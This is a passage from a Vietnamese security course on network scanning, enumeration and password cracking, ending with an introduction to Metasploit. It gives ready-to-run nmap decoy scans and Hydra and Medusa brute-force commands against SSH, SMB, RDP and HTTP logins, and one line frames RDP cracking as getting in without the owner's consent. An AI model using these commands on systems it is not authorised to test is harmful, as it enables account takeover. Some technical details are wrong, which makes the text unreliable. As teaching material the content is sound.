băng khi nói đến thông tin ICMP về một hệ thống. chúng ta có thể thu thập nhiều loại
thông tin có giá trị đơn giản bằng cách các gói tin ICMP. Chúng ta có thể yêu cầu mặt
nạ mạng của một thiết bị nào đó với Address Mask Request. Mặt nạ mạng rất quan
trọng vì chúng ta có thể xác định được tất cả địa chỉ của đích, biết được gatewate mặt
định, địa chỉ broadcast. Nhờ vào gateway mặc định, chúng ta có thể tấn công router.
Với địa chỉ broadcast. Nhưng không phải tất cả các router nào cũng hỗ trợ Time và
Netmask.
Phòng chống: Khóa loại ICMP mà cung cấp thông tin tại router biên
(router đi ra ISP). Để giảm tới mức thiểu, chúng ta nên dùng access list
(ACLs):
o Access-list 101 deny icmp any any 13 // yêu cầu timestamp
o Access-list 101 deny icmp any any 17 // yêu cầu address mask
31
2. Xác định các dịch vụ đang chạy hoặc đang lắng nghe.
a) Port Scanning
Port scanning là quá trình gửi các gói tin tới cổng TCP và UDP trên hệ
thống đích để xác định dịch vụ nào đang chạy hoặc trong tình trạng đang lắng nghe.
Việc xác định đang lắng nghe là rât quan trọng để xác định các dịch vụ đang chạy.
Thêm vào đó, chúng ta có thể xác định loại và phiên bản hệ điều hành đang chạy và
ứng dụng đang xử dụng.
b) Các Loại Scan
Trước khi thực hiện port scanning, chúng ta nên điểm qua một số cách thức
quét sẵn có:
TCP Connect scan: loại này kết nối tới cổng đích và thực hiện đầy đủ
quy trình bắt tay ba bước (SYN, SYN/ACK, ACK). Tuy nhiên điều này
thì dễ dàng bị phát hiện bởi hệ thống đích. Nó sử dụng lời gọi hệ thống
thay cho các gói tin sống (raw packets) và thường được sử dụng bởi
những người dùng Unix không có quyền.Vì SYN Scan không thể thực
hiện được.
TCP SYN scan: nó không tạo ra một kết nối tới nguồn mà chỉ gửi gói
tin SYN(bước đầu tiên trong ba bước tạo kết nối) tới đích. Nếu a gói tin
SYN/ACK được trả về thì chúng ta biết được cổng đó đang lắng nghe.
Ngược lại, nếu nhận được RST/ACK thì cổng đó không lắng nghe. Kỹ
thuật này khó bị phát hiện hơn là TCP connect và nó không lưu lại
32
thông tin ở mày tính đích. Tuy nhiên, một trong những nhược điểm của
kỹ thuật này là có thể tạo ra điều kiện từ chối dịch vụ DoS nếu có quá
nhiều kết nối không đầy đủ được tạo ra. Vì vậy, kỹ thuật này là an toàn
nếu không có quá nhiều kết nối như trên được tạo ra.
TCP ACK Scan: kỹ thuật này được dùng để vạch ra các quy tắt thiết lập
tường lửa. nó có thể giúp xác định xem tường lửa là trình trích lọc các
gói tin đơn giản cho phép tạo kết nối hay là trình trích lọc năng cao.
Tuy nhiên nó không thể phân biệt được cổng nào open hay closed.
TCP Windows Scan: Giống với ACK Scan, điểm khác là nó có thể phát
hiện cổng open với closed.
UDP Scan: kỹ thuật này gửi một gói tin UDP tới cổng đích. Nếu cổng
đích trả lời với thông điệp “ICMP port unreachable ” thì cổng closed.
Nếu không nhận được thông điệp trên thì cổng trên đang mở. Tuy
nhiên, UDP scan là một quá trình rất chập nếu như chúng ta cố gắng
scan một thiệt bị nào đó mà được áp chính sách trích lọc gói tin mạnh.
TCP FIN, XMAS, NULL: chúng chuyên nghiệp trong việc lén lút vượt
tường lửa để khám phá các hệ thống ở phía sau. Tuy nhiên, chúng lại
phụ thuộc nhiều vào cách xử lý của hệ thống đích mà(điển hình là
Windows) thì không có biểu hiện gì.
c) Xác định các dịch vụ TCP và UDP đang chạy
Strobe: có độ tin cây cao, tuy nhiên chỉ hỗ trợ TCP, không hỗ trợ UDP
33
Netcat là một tiện ích mạng Unix đơn giản tính năng đọc và ghi dữ liệu
qua kết nối mạng, sử dụng giao thức TCP / IP.Nó được thiết kế như là
một công cụ đáng tin cậy "back-end" có thể được sử dụng trực tiếp hoặc
dễ dàng điều khiển bởi các chương trình và các script khác. Đồng thời,
nó là công cụ gỡ lỗi mạng với nhiều tính năng và công cụ thăm dò.
Nc –v –z –w2 192.168.10.102 1-4000
-v: xuất chi tiết ra màn hình
-z: zero-I/O mode – không gửi dữ liệu nào chỉ phát ra một gói tin.
192.168.10.102: host
1-4000: port cần quét.
Nmap (Network Mapper) là một tiện ích nguồn mở miễn phí cho phát
hiện mạng và kiểm toán an ninh. Nhiều quản trị mạng và hệ thống cũng
tìm thấy sự hữu ích cho các công việc như kiểm kê mạng lưới, dịch vụ
quản lý lịch trình, và theo dõi thời gian hoạt động dịch vụ và máy chủ.
Nmap sử dụng các gói tin IP thô trong các phương pháp mới để xác định
host nào có sẵn trên mạng, các dịch vụ (tên ứng dụng và phiên bản) mà
host đó đang cung cấp, hệ điều hành gì (và các phiên bản hệ điều hành)
mà họ đang chạy, loại bộ lọc gói tin hoặc tường lửa nào đang sử dụng,
và nhiều đặc điểm khác. Nó được thiết kế để scan nhanh chóng các mạng
34
lớn, nhưng ho. Nmap chạy được trên tất cả các hệ điều hành, và các gói
nhị phân chính thức có sẵn cho Linux, Windows, và Mac OS X.
Cách dùng đơn giản nhất, không đặc tả tham số: nmap 192.168.10.0/24
Quá trình được thực hiện như sau:
35
a. Chuyển <target> từ hostname thành Ipv4 sử dụng DNS. Nếu là một địa
chỉ IP thì không cần chuyển.
b. Thực hiện ping tới host, mặc định với một gói tin yêu cầu ICMP echo và
một gó tin TCP ACK gới tới cổng 80 để xác định host đó có đang up hay
không? Nếu không, nmap sẽ thoát và hiện thông báo. Chúng ta có thể sử
dung Ping NULL(-PN) để bỏ qua bước này.
c. Chuyển IP đích thành tên với truy vấn DNS ngược. điều này có thể bỏ
qua vơi thuộc tính –n để cải thiện tốc độ và khả năng không bi phát hiện.
d. Thực hiện quét TCP port với hơn 1000 port phổ biến được liệt kê tại
nmap-services. Quá trình scan SYN sẽ được thực hiện, nhưng Connect
scan sẽ được thay thế khi người dùng Unix không phải root thiếu quyền
cần thiết để gửi các gói tin thô.
e. In kết qua lên màn hình
Quét host đang up: nmap –sP –PE 192.168.10.0/24
-sP: ping scan
-PE: ping echo
36
Phụ thuộc vào độ phức tạp của mạng đích và các host, quá trình quét có
thể dễ dàng bị phát hiện.Nmap cung cấp khả năng làm giả địa chỉ nguồn
với tùy chọn –Ddecoy. Nó được tạo ra để làm tràn ngập cái site đích với
những thông tin giả mạo. Thứ cơ bản nằm phía sau tùy chọn này là chạy
scan giả cùng lúc với scan thật. Hệ thống đích sẽ trả lời trên các địa chỉ
giả cũng như scan port thực của chúng ta. Và quan trọng hơn cả là địa
chỉ giả phải còn sống. Ngược lại, quá trìnhscan với SYN và dẫn đến điều
kiện từ chối dịch vụ
Nmap –sS–PE 192.168.10.0/24 –D 10.10.10.1
37
d) Phòng chống:
Tắt tất cả các dịch vụ không cần thiết. Trên Unix, chúng ta có thể thực hiện
điều này bằng cách xem các dịch vụ không cần thiết trong /ect/inetd.conf và tắt các
dịch vụscript lúc khởi động. Trên Windows, rất khó để tắt các dịch vụ không cần thiết
vì theo cách hoạt động của Windows, cổng TCP 139 và 445 cung cấp nhiều chức năng
Windows hoạt động.
3. Xác định hệ điều hành
Nhiều công cụ mạnh và nhiều kỹ thuật quét port có sẵn để tìm các cổng mở trên
hệ thống đích. Nếu nhìn lại, đối tượng đầu tiên của chúng ta là quét cổng để xác định
các cổng TCP và UDP trên máy đích. Và với những thông tin đó, chúng ta có thể cổng
nào đó đang lắng nghe có điểm yếu nào đó chăng? Nhưng chúng ta cần tìm nhiều
thông tin hơn về mục tiêu. Đó chình là xác định hệ điều hành.
a) Active OS Detection
Thông tin càng chi tiết về hệ điều hành thì nó càng hữu ích trong việc phân
tích điểm yếu. chúng ta có thể sử dụng kỹ thuật banner-grabbing, thứ lấy thông tin từ
các dịch vụ FTP, telnet, SMTP, HTTP. Đây là cách đơn giản nhất để phát hiện hệ điều
hành và phiên bản mà nó đang chạy. Theo đó, kỹ thuật đúng đắn là kỹ thuật stack
fingerprinting. Nó là một kỹ thuật rất mạnh cho phép chúng ta biết chắc hệ điều hành
đích với độ tin cậy cao. Stack fingerprinting sẽ yêu cầu ích nhất một cổng đang lắng
nghe. Nmap có đoán được trong trường hợp không có cổng nào đang mở.
38
Active OS detection gửi các gói tin đến đích để xác định điểm đặc trưng chi
tiết trong stack mạng, điều này cho phép chúng ta đoán hệ điều hành. Vì phải gửi các
gói tin như thế, nên rất dễ dàng bị phát hiện. vì thế đây không phải là cách mà hacker
áp dụng để tấn công.
Nmap với –O để xác định hệ điều hành.
b) Passive OS Detection
Sử dụng passive stack fingerprinting. Nó tương tự như khái niệm active
stack fingerprinting. Thay vì gửi các gói tin tới đích để dễ dành bị phát hiện. Kẻ tấn
công âm thầm giám sát giao thông mạng để xác định hệ điều hành đang sử dụng. Vì
vậy, bằng việc giám sát giao thông mạng giữa các hệ thống khác nhau, chúng ta có thể
xác định được hệ điều hành. Kỹ thuật này phụ thuộc vào vị trí trung tâm trên mạng và
trên cổng cho phép bắt gói tin.
39
Chương 4: ENUMERATION
I. Enumeration là gì?
Enumeration (Liệt kê) là bước tiếp theo trong quá trình tìm kiếm thông tin của
tổ chức , xảy ra sau khi đã scanning và là quá trình tập hợp và phân tích tên người
dùng, tên may,tài nguyên chia sẽ và các dịch vụ . Nó cũng chủ động truy vấn hoặc kết
nôi tơi muc tiêu đê co đươc nhưng thông tin hợp lý hơn . Enumeration (liệt kê) có thể
được định nghĩa là quá trình trích xuất những thông tin có được trong phần scan ra
thành một hệ thống có trật tự. Những thông tin được trích xuất bao gồm những thứ có
liên quan đến mục tiêu cần tấn công, như tên người dùng (user name), tên máy tính
(host name), dịch vụ (service), tài nguyên chia sẽ (share).Những kỹ thuật liệt kê được
điều khiển từ môi trường bên trong. Enumeration bao gồm cả công đoạn kết nối đến
hệ thống và trực tiếp rút trích ra các thông tin. Mục đích của kĩ thuật liệt kê là xác định
tài khoản người dùng và tài khoản hệ thống có khả năng sử dụng vào việc hack một
mục tiêu . Không cân thiêt phai tim môt tai khoan quan tri vi c húng ta có thể tăng tai
khoản này lên đ ến mức co đăc quyên nhât đê cho phep truy câp vao nhiêu tai khoan
hơn đa câp trươc đây.
II. Banner Grabbing
Kỹ thuật chủ yếu nhất của enumeration là banner grabbing, Nó có thể được
định nghĩa đơn giản như là kết nối đến ứng dụng từ xa và quan sát đầu ra. Nó có nhiều
thông tin cho kẻ tấn công từ xa. Ít nhất chúng ta cũng đã xác định được mô hình dịch
vụ đang chạy mà nhiều trường hợp là đủ để tạo nên quá trình nghiên cứu các điểm yếu.
Phòng chống: tắt các dịch vụ không cần thiết. chúng ta có thể giới hạn việc truy
cập tới các dịch vụ điều khiển truy cập mạng.
III. Enumerating các dịch vụ mạng
1. Http fingerprinting
a) Telnet
TELNET (viết tắt của TerminaL NETwork) là một giao thức mạng (network
protocol) được dùng trên các kết nối với Internet hoặc các kết nối tại mạng máy tính
cục bộ LAN. Tài liệu của IETF, STD 8, (còn được gọi là RFC 854 và RFC 855) có nói
rằng: Mục đích của giao thức TELNET là cung cấp một phương tiện truyền thông
chung chung, có tính lưỡng truyền, dùng độ rộng 8 bit, định hướng byte. TELNET là
một giao thức khách-chủ (client-server protocol), dựa trên nền TCP, và phần khách
(người dùng) thường kết nối vào cổng 23 với một máy chủ, nơi cung cấp chương trình
ứng dụng thi hành các dịch vụ.
40
Sử dụng telnet để tìm hiểu thông tin từ cổng dịch vụ đang mở, sử dụng công cụ
từ xa để lấy thông tin thông qua cổng telnet mà hầu hết các hệ điều hành điều hổ trợ.
C:\>telnet www.google.com 80
b) Netcat
Là một tool cho phép ghi và đọc data thông qua giao thức TCP và UDP. Netcat
có thể sử dụng như port scanner, backdoor, port redirecter, port listener,…
Sử dụng netcat bằng dòng lệnh:
- Chế độ kết nối : nc [-tùy_chọn] tên_máy cổng1[-cổng2]
- Chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]
Ví dụ:
Lấy banner của Server:
nc đến 192.168.10.102, cổng 80
Quét cổng
41
chạy netcat với tùy chọn -z. Ví dụ để scan các cổng TCP(1->500) của host
192.168.10.102
nc –v www.google.com 80
www.google.com [74.215.71.105] 80 (http) open
c) Open SSL
Là sự nỗ lực hợp tác nhằm phát triển bộ mã nguồn mở với đầyđủ tính năng,
được triển khai trên giao thức SSL (version 2 và version 3) vàgiao thức TSL(version 1)
được quản lý bởi cộng đồng những người tìnhnguyện trên toàn thế giới sử dụng
Internet để kết nối và phát triển bộOpenSSL và các tài liệu có liên quan.
Hầu hết các phần mềm như IMAP&POP, Samba, OpenLDAP, FTP,Apache và
những phần mềm khác đều yêu cầu công việc kiểm tra tính xácthực của người sử dụng
trước khi cho phép sử dụng các dịch vụ này. Nhưngmặc định việc truyền tải sự xác
minh thông tin người sử dụng và mật khẩu(password) ở dạng văn bản thuần túy nên có
thể được đọc hoặc thay đổi bởimột người khác. Kỹ thuật mã hóa như SSL sẽ đảm bảo
tính an toàn và nguyênvẹn của dữ liệu, với kỹ thuật này thông tin truyền trên mạng ở
dạng điểm nốiđiểm được mã hóa. Một khi OpenSSL đã được cài đặt trên Linux
server chúng ta có thể sử dụng nó như một công cụ thứ ba cho phép các ứng dụngkhác
dùng tính năng SSL
OpenSSL là một bộ công cụ mật mã triển khai trên giao thức mạng SSLvà TLS
và các chuẩn mật mã có liên quan. Chương trình OpenSSL là một công cụ dòng lệnh
42
để sử dụng các chứcnăng mật mã của các thư viện crypto của OpenSSL từ nhân.
OpenSSL có các thư viện cung cấp các chức năng mật mã cho các ứngdụng như an
toàn webserver.
Là phần mềm mã nguồn mở , có thể sử dụng được cho cả mục đích thương mại
và phi thương mại với tính năng mã hoá mạnh trên toàn thế giới, hỗ trợ các giao
thức SSLv2 và SSLv3 và TLSv1, cho cả phép mã hoá RSA và Diffie-Hellman, DSO.
Hỗ trợ cho OpenSSL và RSArefUS, nâng cao khả năng xử lý cụm mật khẩu đối với
khoá riêng .Chứng chỉ X.509 dựa vào xác thực cho cả phía client và server, Hỗ trợ
danh sách thu hồi chứng chỉ X.509, khả năng tái điều chỉnh đối với mỗi URL của các
tham số bắt tay SSL.
2. DNS Enumeration
DNS Enumeration là quá trình định vị tất cả các máy chủ DNS và tương ứng
của họ hồ sơ cho một tổ chức. Một công ty có thể có cả hai nội bộ và bên ngoài máy
chủ DNS có thể mang lại thông tin như tên người dùng, tên máy tính, và địa chỉ IP của
hệ thống mục tiêu tiềm năng. Hiện có rất nhiều các công cụ có thể được sử dụng để có
được thông tin cho thực hiện DNS liệt kê. Các ví dụ về các công cụ có thể được sử
dụng để liệt kê DNS nslookup, DIỄN, Registry Mỹ cho số Internet (ARIN), và Whois.
để kê khai DNS, chúng ta phải có sự hiểu biết về DNS và làm thế nào nó hoạt động.
Chúng ta phải có kiến thức về các bản ghi DNS. Danh sách các bản ghi DNS
cung cấp một cái nhìn tổng quan các loại bản ghi tài nguyên (cơ sở dữ liệu hồ sơ) được
lưu giữ trong các tập tin khu vực của tên miền System (DNS). DNS thực hiện một cơ
sở dữ liệu phân tán, phân cấp, và dự phòng thông tin liên kết với các tên miền Internet
và địa chỉ. Trong những miền máy chủ, các loại hồ sơ khác nhau được sử dụng cho các
mục đích khác nhau. Danh sách sau đây mô tả bản ghi DNS phổ biến các loại và sử
dụng của họ:
A (địa chỉ)-Bản đồ một tên máy chủ đến một địa chỉ IP
SOA (Start of Authority)-Xác định máy chủ DNS có trách nhiệm cho các tên
miền thông tin
CNAME (tên kinh điển)-Cung cấp tên hoặc bí danh cho địa chỉ ghi
MX (thư trao đổi) Xác định các máy chủ mail cho tên miền
SRV (dịch vụ)-Nhận dạng các dịch vụ như dịch vụ thư mục
PTR (pointer)-Bản đồ địa chỉ IP để lưu trữ tên
NS (tên máy chủ)-Xác định máy chủ tên khác cho tên miền
43
DNS Zone Transfer thường được sử dụng để tái tạo dữ liệu DNS trên một số
máy chủ DNS, hoặc để sao lưu các tập tin DNS. Một người sử dụng hoặc máy chủ sẽ
thực hiện một yêu cầu chuyển giao khu vực cụ thể từ một “name server”.Nếu máy chủ
tên cho phép di chuyển vùng xảy ra, tất cả các tên DNS và IP địa chỉ lưu trữ bởi các
máy chủ tên sẽ được trả lại trong văn bản ASCII con người có thể đọc được.
Nslookup
Ta cũng có thể dùng lệnh trực tiếp như sau:
Nslookup –type=any tuoitre.vn
Type là loại dịch vụ mạng, như đã liệt kê ở trên: NS(nameserver), MX(mail
exchange)…, any(tất cả).
Tuoitre.vn: một domain
44
3. Netbios name
NetBIOS là một từ viết tắt cho mạng Basic Input / Output System. Nó cung cấp
các dịch vụ liên quan đến lớp phiên của mô hình OSI cho phép các ứng dụng trên các
máy tính riêng để giao tiếp qua một mạng cục bộ. Thật sự như một API, NetBIOS
không phải là một giao thức mạng. Hệ điều hành cũ hơn chạy NetBIOS trên IEEE
802,2 và IPX / SPX sử dụng tương ứng giao thức Frames NetBIOS (NBF) và
NetBIOS trên IPX / SPX (NBX) . Trong các mạng hiện đại, NetBIOS bình thường
chạy trên giao thức TCP / IP thông qua NetBIOS qua giao thức TCP / IP (NBT) .Điều
này dẫn đến từng máy tính trong mạng có cả một tên NetBIOS và một địa chỉ IP tương
ứng với một (có thể khác nhau) tên máy chủ.
NetBIOS name là cơ chế đặt tên cho các tài nguyện trong 1 hệ thống theo
“không gian phẳng” (không có khái niệm phân cấp).
45
Chương 5: PASSWORD CRACKING
I. Giới Thiệu
Là quá trình tìm kiếm hoặc phục hồi password với nhiều mục đích khác nhau.
Mục đích của việc password cracking là giúp cho người dùng có thể lấy lại mật
khẩu đã quên trước đó, hoặc để chiếm đoạt quyền truy cập không xác thực tới hệ
thống.
II. Các Kỹ Thuật Password Cracking
1. Dictionary Attacks/Hybrid Attacks
Attacks sẽ sử dụng file từ điển có sẵn chứa các hash để so sánh với hash
của password để tìm ra dạng plaint text của password nếu hash trùng
nhau.
Chúng ta có thể thêm hoặc đảo các từ có trong từ điển (Hybird Attacks).
Dạng này ứng dụng tốt khj password là nhưng ký tự thông thường, tốc
độ nhanh, mức độ thành công tùy thuộc vào từ điển.
2. Brute Forcing Attacks
Sử dụng mọi tổ hợp của tất cả các ký tự để đưa vào hash và so sánh. Khả năng
thành công là tuyệt đối nếu có đủ thời gian vì tốc độ crack rất lâu trong trường hợp
password dài và phức tạp. chỉ tốt cho password ngắn.
3. Syllable Attacks/Pre-Computed Hashes
Kết hợp hai cách trên bằng cách tạo sẵn các bản hash của tất cả tổ hợp các ký tự
và chỉ so sánh trong quá trình hash. Tốc độ crack chỉ mất vài phút nếu có sẵn các bản
hash.
III. Các Kiểu Tấn Công Thường Gặp
1. Active Password Cracking
Tìm 1 username co thưc va do tim password theo username đo .Quá trình
này có thể tự động hoá để tăng tốc độ tìm kiếm .
Các dạng tấn công kiểu Active Password Cracking:
o Password guessing: một tập hợp từ điển các từ và tên cũng như
mật khẩu và thử tất cả sự kết hợp để crack các password. Kiểu tấn
công này cần nhiều thời gian và lượng băng thông mạng lớn; dễ
dàng bi phát hiện.
o Trojan/Spyware/Keylogger: là chương trình chạy nền giúp cho kẻ
tấn công có thể ghi lại bất kỳ phím nào được nhấn (Keylogger);
46
thu thập thông tin một cách bí mật về cá nhân, tổ chức (Spyware);
với sự giúp đỡ của Trojan, kẻ tấn công có thể lấy quyền truy cập
vào các password được lưu trữ và có thể đọc các tài liệu cá nhân,
xóa file.
2. Passive Password Cracking
Capture qua trình log -in trên đương truyên đê break password
offline(Sniff, MITM…)
Các kiểu tấn công này bao gồm:
o Wire Sniffing: kể tấn công chạy các công cụ sniffing gói tin trong
mạng LAN để truy cập và ghi lại các giao thông mạng đang sống.
Dữ liệu bắt được có thể sẽ bao gồm password được gửi tới các hệ
thống từ xa thông qua các giao dịch Telnet, FTP, rlogin và mail
điện tử gửi và nhận.
o Man-in-the-Middle (MITM) and Replay Attack: Trong tấn công
MITM, attacker giành quyền truy cập vào kênh giao tiếp giữa nạn
nhân và server để tìm kiếm thông tin; trongreplay attack, các gói
tin và thẻ bài (token) xác thực được bắt sử dụng một sniffer.
3. Offline Password Cracking
Tiếp xúc trực tiếp với máy tính nạn nhân để copy các file lưu trữ thông tin. Ví
dụ, SAM database trên Windows (%systemroot%/system32/config) hay /root/passwd
trên Linux. Sau đó có thể sử dụng John để tìm password dang plain text.
IV. Các công cụ Password Cracking
1. Hydra
a) Giới thiệu
Hydra là một công cụ bể khóa đăng nhập mạng rất nhanh, hỗ trợ nhiều giao
thức và dịch vụ khác nhau.
Hydra là trình bẻ khóa đăng nhập xong xong, nghĩa là nó chạy nhiều tác vụ
cung một lúc để quá trình bẻ khóa được nhanh hơn.
Công cụ này cho phép các nhà nghiên cứu và chuyên gia bảo mật có thể
trình bày mức độ dễ dàng để chiếm quyền truy cập không xác thực từ xa tới hệ
thống nào đó
47
b) Cách dùng
Cú pháp chung của Hydra là:
Hydra [[-l LOGIN|-L FILE] [-p PASSWORD|-P FILE]]|[-C FILE]] [-t task] [-w
wait] [server server | IP] [service://server[:port]]
Ví dụ:
48
hydra –f –L login.txt –P password.txt 192.168.10.1 http-get
http://192.168.10.1
Trong đó:
-f: finish:tìm được cặp username và password hợp lệ đầu tiên sẽ kết thúc
-L: file username (-l username)
-P: file password (-p password)
192.168.10.1: địa chỉ ip cần bẻ khóa mật khẩu đăng nhập
http-get: dịch vụ http cổng 80 (http được thay thế bằng http-get và http-
head)
http://192.168.10.1 là trang web cần cho quá trình crack.
2. Medusa
a) Giới thiệu
Medusa có thể được sử dụng brute-force đăng nhập theo từng module theo cớ
chế song song và nhanh chống. mục đích của nó là để hỗ trợ nhiều dịch vụ mà có thể
cho phép quá trình xác thực từ xa nếu có thể.
Medusa được thiết kế dựa vào ba đặc điểm sau:
Kiểm tra song song dựa vào luồng: có thể kiểm tra trên nhiều host, username,
password.
Thiết kế theo module: Mỗi dịch vụ tồn tại ở dạng file (.mod) độc lập. Chúng ta
không cần thiết để chỉnh sửa đến nhân để mở rộng danh sách các dịch vụ hỗ trợ for
việc brute-forcing.
49
b) Cách dùng
Cú pháp:
Medusa [–h host | -H file] [-u username | -U file] [-p password | -P file] [-C
file] –M module [OPT]
-h host hay địa chỉ IP, -H file chứa các host
50
-u username, -U file chứa username
-p password, -P file chứa password
-C file kết hợp dạng host, username, password dạng host:username:password
-M module là bắt buộc theo sau là tên các module được hỗ trợ. Để xem tất cả
các module ta gõ: medusa –d và cách dùng chi tiết cho 1 module nào đó: medusa –M
tên_module –q
51
V. Password Cracking Trên Các Giao Thức
1. HTTP (HyperText Tranfer Protocol)
c) Khái niệm
Đây là giao thức chuyển đổi siêu văn bản và thường được sử dụng cho các
ứng dụng Web (World Wide Web – WWW) trên cổng mặc định là 80.
d) Có 2 dạng mã hóa HTTP:
Basic access authentication: là phương pháp trình duyệt web hoặc các
chương trình khác cung cấp username và password when được yêu cầu. Nó hỗ trợ
tất cả các trình duyệt web, tuy nhiên, cả username và password được gởi đi dạng
plain text nên ít được áp dụng vào thưc tế. Và quá trình đăng nhập vào router là
một ví dụ điển hình.
53
Như trên hình username và password bắt được: admin:12345
Digest access authentication: là một trong những phương pháp được thỏa
thuận áp dụng cho máy chủ web để có thể vượt qua các thông tin với
trình duyệt web của người dùng. Nó sử dụng hàm bâm(hash) để mã hóa
các thông tin nhạy cảm trước khi gửi chúng qua mạng.
e) Crack Password HTTP
Ta có thể dùng nmap (Network Mapper) để quét cổng nào đang mở:
54
Truy cập vào trinh duyệt để kiểm tra thử quá trình xác thực
Khi nhấn nút Cancel ta được thông báo:
55
Vào Terminal trên BackTrack 5 gõ: hydra –f –L login.txt –P password.txt
192.168.10.1 http-get http://192.168.10.1
Trong đó:
-f: finish:tìm được cặp username và password hợp lệ đầu tiên sẽ kết thúc
-L: file username (-l username)
-P: file password (-p password)
192.168.10.1: địa chỉ ip cần bẻ khóa mật khẩu đăng nhập
http-get: dịch vụ http cổng 80 (http được thay thế bằng http-get và http-
head)
http://192.168.10.1 là trang web cần cho quá trình crack.
56
Hoặc: medusa –h 192.168.10.1 –U login.txt –P password –M http
Trong đó:
-h host hay địa chỉ ip cần bẻ khóa mật khẩu đăng nhập.
-U: file username (-u username)
-P: file password (-p password)
-M http giao thức cần crack. M viết tắc cho modum
58
2. SSH (Secure Shell)
a) Khái niệm
SSH là một giao thức mạng cho việc giao tiếp dữ liệu bảo mật, các dịch vụ
shell từ xa hoặc thực thi lệnh vàn các dịch vụ mạng bảo mật khác giữa các máy tính
được nối mạng với nhau. Nó kết nối thông qua một kênh bảo mật trên một mạng
không bảo mật: một máy chủ và một máy khách (chạy các chương SSH server và
SSH Client).
Ứng dụng được biết đến nhiều nhất của giao thức này là việc truy cập đến
tài khoản shell của hệ điều hành LIKE-UNIX (LINUX). Nó sinh ra để thay thế các
chuẩn giao thức không bảo mật khác như telnet, rsh, rexec …, khi mà password
được gửi đi dạng plain text, có thể dễ dàng đọc được.
SSH hoạt động trên TCP cổng 22.
b) Crack password qua SSH
Kiểm tra dịch vụ ssh có đang chạy hay không?
Với hydra: hydra –f –L login.txt –P password.txt 192.168.10.101 ssh
59
Với Medusa: medusa –h 192.168.10.101 –U login.txt –P password.txt –M
ssh
Và đây là cách truy cập vào thiết bị Nokia N900 từ xa với username và
password vừa tìm được:
61
3. SMB (Server Message Block)
a) Khái niệm
SMB được biết đến như là Common Internet File System (CIFS), hoạt động
ở tầng ứng dụng trong mô hình OSI, thường thường được sử dụng để cung cấp
truy cập chia sẽ các file, máy in… và các giao tiếp khác nhau giữa các nút mạng
trên mạng. Nó còn cung cấp kỹ thuật giao tiếp liên quá trình có xác thực. Hầu hết
sử dụng của SMB đều liên quan đến Microsoft Windows.
SMB có thể chạy trên tầng giao dịch (Session) hoặc thấp hơn:
o Trực tiếp trên TCP cỗng 445;
o Thông qua NetBIOS (cung cấp nhiều dịch vụ liên quan đến tầng
ứng dụng trong mô hình OSI cho phép các ứng dụng trên các máy
tính phân biệt có thể giao tiếp vơi nhau thông qua mạng LAN)
trên UDP cổng 137, 138 và TCP 137, 139
b) Crack password SMB
Quét xem có máy nào đang chạy dịch vụ smb port 445 hay không?
62
Với Hydra tao gõ: hydra –f –L login.txt –P password.txt 192.168.10.100 smb
Với Medusa, ta gõ: medusa –h 192.168.10.100 –U login.txt –P password.txt
smbnt
64
4. RDP (Remote Desktop Protocol)
a) Khái niệm
RDP là một giao thức giao tiếp của cá nhân hay tổ chức được phát triển bởi
Microsoft, cung cấp cho người dùng một giao diện đồ họa đối với máy tính khác.
Hiện tại, Microsoft đã chuyển phần mềm chủ (server) RDP sang Remote
Desktop Services như Terminal Services (dịch vụ đầu cuối) và phần mềm khách
(client) như là Terminal Services Client.
Khi thực hiện kết nối đến một máy tính nào đó từ xa, chúng ta sẽ nhận được
yêu cầu xác thực người dùng và mật khẩu phù hợp. Vì vậy việc crack password
RDP là cần thiết nếu ta truy cập mà chưa được sự chấp nhận của người dùng.
RDP hoạt động trên TCP cổng 3389
b) Crack password RDP
Quét máy tính xem nào có cổng 3389 đang mở hay không?
65
Với Hydra: hydra –f –L login.txt –P password.txt 192.168.10.100 rdp –t 4 –
w 1
Với Medusa, nó không hỗ trợ trực tiếp giao thức RDP. Tuy nhiên, ta có thể
dùng modum wrapper với script là rdesktop. Ta thực hiện như sau:
66
Medusa –M wrapper –m TYPE:STDIN –m PROG:rdesktop –m ARGS:”-u
%U –p - %H” –h 192.168.10.100 –U login.txt –P password.txt
Tuy vậy, chương trình vẫn hoạt động chưa đúng đắn lắm và tốn nhiều thời gian
vì phải kẻ tấn công phải nhập vào từng password một.
Đầy là cách dùng rdesktop để điều khiển máy tính từ xa với username và
password tìm được:
67
Chương 6: SYSTEM HACKING
I. GIỚI THIỆU VỀ METASPLOIT
1. Giới thiệu
Metasploit là một dự án bảo mật máy tính cung cấp các thông tin về vấn đề lỗ
hổng bảo mật cũng như giúp đỡ về kiểm tra thăm nhập và phát triển hệ thống phát hiện
tấn công mạng. Một dự án con rất nổi tiếng của Metasploit là Metasploit Framework.
Metasploit Framework là một môi trường dùng để kiểm tra ,tấn công và khai
thác lỗi của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl,
với những components được viết bằng C, assembler, và Python.Metasploit có thể chạy
trên hầu hết các hệ điều hành: Linux, Windows, MacOS. Chúng ta có thể download
chương trình tại www.metasploit.com
Metasploit có phiên bản hiện tại là 4.4.
2. Các thành phần của Metasploit
Metasploit hỗ trợ nhiều giao diện với người dùng:
Console interface: dùng lệnh msfconsole. Msfconsole interface sử dụng các
dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn
Web interface: dùng msfweb, giao tiếp với người dùng thông qua giao diện
web
Command line interface: dùng msfcli
Enviroment :
Global Enviroment:được thực thi thông qua 2 câu lệnh setg và unsetg,
những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả
các module exploits
Temporary Enviroment: được thực thi thông qua 2 câu lệnh set và unset,
enviroment này chỉ được đưa vào module exploit đang load hiện tại, không
ảnh hưởng đến các module exploit khác
Chúng có thể lưu lại enviroment mình đã cấu hình thông qua lệnh save. Môi
trường đó sẽ được lưu trong ./msf/config và sẽ được load trở lại khi user interface
được thực hiện
3. Sử dụng Metasploit Framework
a) Chọn module exploit
Lựa chọn chương trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác
68
show exploits: xem các module exploit mà framework có hỗ trợ
use exploit_name: chọn module exploit
info exploit_name: xem thông tin về module exploit
Chúng ta nên cập nhật thường xuyên các lỗi dịch vụ cũng như các module
trên www.metasploit.com hoặc qua lệnh msfupdate hoặc svn update
/opt/metasploit/msf3/
b) Cấu hình module exploit đã chọn
show options: Xác định những options nào cần cấu hình
set : cấu hình cho những option của module đó
Một vài module còn có những advanced options, chúng ta có thể xem bằng
cách gõdòng lệnh show advanceds
c) Verify những options vừa cấu hình
